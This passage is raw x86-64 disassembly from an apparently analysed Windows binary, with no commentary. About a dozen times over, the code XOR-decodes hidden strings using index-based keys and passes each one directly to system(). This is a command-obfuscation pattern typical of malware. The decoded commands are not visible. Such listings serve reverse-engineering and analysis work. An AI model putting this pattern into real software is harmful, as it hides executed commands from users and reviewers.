psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xa0
jl 0x14005bd30
jmp 0x14005be64
mov r9, r10
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x14005be30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x80ab]
lea rcx, [rbp + 0x47]
mov byte [rbp + 0x47], al
call fcn.140073a80
mov r10, rax
cmp byte [rax + 0x9e], 0
je 0x14005bfe4
mov r8d, r14d
cmp r15d, 2
jl 0x14005bfa9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x14005beb0
cmp r8d, 0x9f
jge 0x14005bfe4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x9f
jl 0x14005bfb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8d53]
lea rcx, [rbp + 0x48]
mov byte [rbp + 0x48], al
call fcn.140073b20
mov r10, rax
cmp byte [rax + 0xac], 0
je 0x14005c164
mov r8d, r14d
cmp r15d, 2
jl 0x14005c129
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa8
jl 0x14005c030
cmp r8d, 0xad
jge 0x14005c164
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xad
jl 0x14005c130
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x63c0]
lea rcx, [rbp + 0x49]
mov byte [rbp + 0x49], al
call fcn.140073bb0
mov r10, rax
cmp byte [rax + 0x80], 0
je 0x14005c2e4
mov r8d, r14d
cmp r15d, 2
jl 0x14005c2a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x80
jl 0x14005c1b0
cmp r8d, 0x81
jge 0x14005c2e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x81
jl 0x14005c2b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6ce9]
lea rcx, [rbp + 0x4a]
mov byte [rbp + 0x4a], al
call fcn.140073c20
mov r10, rax
cmp byte [rax + 0x93], 0
je 0x14005c464
mov r8d, r14d
cmp r15d, 2
jl 0x14005c429
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x14005c330
cmp r8d, 0x94
jge 0x14005c464
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x94
jl 0x14005c430
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x65c6]
lea rcx, [rbp + 0x4b]
mov byte [rbp + 0x4b], al
call fcn.140073ca0
mov r10, rax
cmp byte [rax + 0x83], 0
je 0x14005c5e4
mov r8d, r14d
cmp r15d, 2
jl 0x14005c5a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x80
jl 0x14005c4b0
cmp r8d, 0x84
jge 0x14005c5e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x84
jl 0x14005c5b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x603d]
lea rcx, [rbp + 0x4c]
mov byte [rbp + 0x4c], al
call fcn.140073d10
mov r10, rax
cmp byte [rax + 0x7c], 0
je 0x14005c761
mov r8d, r14d
cmp r15d, 2
jl 0x14005c723
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x14005c630
cmp r8d, 0x7d
jge 0x14005c761
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x7d
jl 0x14005c730
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5afa]
lea rcx, [rbp + 0x4d]
mov byte [rbp + 0x4d], al
call fcn.140073d80
mov r10, rax
cmp byte [rax + 0x78], 0
je 0x14005c8e1
mov r8d, r14d
cmp r15d, 2
jl 0x14005c8a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x14005c7b0
cmp r8d, 0x79
jge 0x14005c8e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x79
jl 0x14005c8b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x66d0]
lea rcx, [rbp + 0x4e]
mov byte [rbp + 0x4e], al
call fcn.140073df0
mov r10, rax
cmp byte [rax + 0x87], 0
je 0x14005ca64
cmp r15d, 2
jl 0x14005ca20
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x88
jl 0x14005c930
jmp 0x14005ca64
mov r9, r10
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x88
jl 0x14005ca30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6b30]
lea rcx, [rbp + 0x4f]
mov byte [rbp + 0x4f], al
call fcn.140073e60
mov r10, rax
cmp byte [rax + 0x92], 0
je 0x14005cbe4
mov r8d, r14d
cmp r15d, 2
jl 0x14005cba9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x14005cab0
cmp r8d, 0x93
jge 0x14005cbe4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x93
jl 0x14005cbb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7785]
lea rcx, [rbp + 0x50]
mov byte [rbp + 0x50], al
call fcn.140073ef0
mov r10, rax
cmp byte [rax + 0x99], 0
je 0x14005cd64
mov r8d, r14d
cmp r15d, 2
jl 0x14005cd29
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x14005cc30
cmp r8d, 0x9a
jge 0x14005cd64
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x9a
jl 0x14005cd30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x92fd]
lea rcx, [rbp + 0x51]
mov byte [rbp + 0x51], al
call fcn.140073f80
mov r10, rax
cmp byte [rax + 0xc1], 0
je 0x14005cee4
mov r8d, r14d
cmp r15d, 2
jl 0x14005cea9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xc0
jl 0x14005cdb0
cmp r8d, 0xc2
jge 0x14005cee4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc2
jl 0x14005ceb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x93bf]
lea rcx, [rbp + 0x52]
mov byte [rbp + 0x52], al
call fcn.140074010
mov r10, rax
cmp byte [rax + 0xc1], 0
je 0x14005d064
mov r8d, r14d
cmp r15d, 2
jl 0x14005d029
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xc0
jl 0x14005cf30
cmp r8d, 0xc2
jge 0x14005d064
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc2
jl 0x14005d030
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9013]
lea rcx, [rbp + 0x53]
mov byte [rbp + 0x53], al
call fcn.1400740a0
mov r10, rax
cmp byte [rax + 0xb7], 0
je 0x14005d1e4
cmp r15d, 2
jl 0x14005d1a0
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
